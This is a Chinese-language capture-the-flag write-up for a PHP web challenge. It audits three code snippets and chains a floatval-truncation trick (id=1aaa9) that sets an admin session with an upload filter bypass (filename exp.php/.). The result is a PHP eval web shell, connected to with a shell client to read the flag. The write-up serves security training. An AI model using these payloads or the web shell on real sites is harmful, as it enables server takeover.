一样的ISC题目,这次漏洞出在项目管理页面。
    image.png
    点进去看到一个view-source,有三段PHP代码:
    第一段,检测传入的page变量是否是index.php,如果不是就包含flag.php,没什么意思。

    1. <?php
    2. session_start();
    3. if (!isset($_GET[page])) {
    4. show_source(__FILE__);
    5. die();
    6. }
    7. if (isset($_GET[page]) && $_GET[page] != 'index.php') {
    8. include('flag.php');
    9. }else {
    10. header('Location: ?page=flag.php');
    11. }
    12. ?>

    第二段:

    1. <?php
    2. if ($_SESSION['admin']) {
    3. $con = $_POST['con'];
    4. $file = $_POST['file'];
    5. $filename = "backup/".$file;
    6. if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
    7. die("Bad file extension");
    8. }else{
    9. chdir('uploaded');
    10. $f = fopen($filename, 'w');
    11. fwrite($f, $con);
    12. fclose($f);
    13. }
    14. }
    15. ?>

    检测session中是否有admin,有的话可以通过post方式上传文件,通过正则检测后,会上传到uploaded/backup目录下,这里可以看到php、php3、php4、php5、php7、html都不可以上传。
    第三段:

    1. <?php
    2. if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
    3. include 'config.php';
    4. $id = mysql_real_escape_string($_GET[id]);
    5. $sql="select * from cetc007.user where id='$id'";
    6. $result = mysql_query($sql);
    7. $result = mysql_fetch_object($result);
    8. } else {
    9. $result = False;
    10. die();
    11. }
    12. if(!$result)die("<br >something wae wrong ! <br>");
    13. if($result){
    14. echo "id: ".$result->id."</br>";
    15. echo "name:".$result->user."</br>";
    16. $_SESSION['admin'] = True;
    17. }
    18. ?>
    1. 检查id是否设置
    2. 判断第一位是否为1
    3. 判断最后一位是否为9

    都满足后进行sql查询。
    刚开始以为应该是考察sql注入,但是注意到有mysql_real_escape_string函数,虽然可以通过宽字节注入绕过,但是尝试了一番没有效果,只好放弃。
    接着审计代码看到下面绕过判断后,会设置$_SESSION['admin'] = True;,再结合第二段的上传代码,就有思路了。

    1. isset($_GET[id]):只需要加上参数访问即可
    2. floatval($_GET[id])!=='1':floatval函数在遇到字符时,会将其截断:

      1. var_dump(floatval("1aaa345"))
      2. //float(1)
    3. substr($_GET[id], -1) === '9':只需要最后是9就行

    4. 接着猜admin的id,应该不是0就是1

    最后得到payload:

    1. http://220.249.52.134:53965/view-source.php?page=123&id=1aaa9&submit=submit#

    访问后得到image.png,相应的也应该设置好了session,准备去上传文件。

    上传文件处也有一处检测:

    1. if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))

    这段正则表达式的意思是文件结尾不能以.php结尾(大概是)
    构造payload:

    1. con=<?php eval(@$_POST['exp']);?>&file=exp.php/.

    上传后菜刀链接,得到flag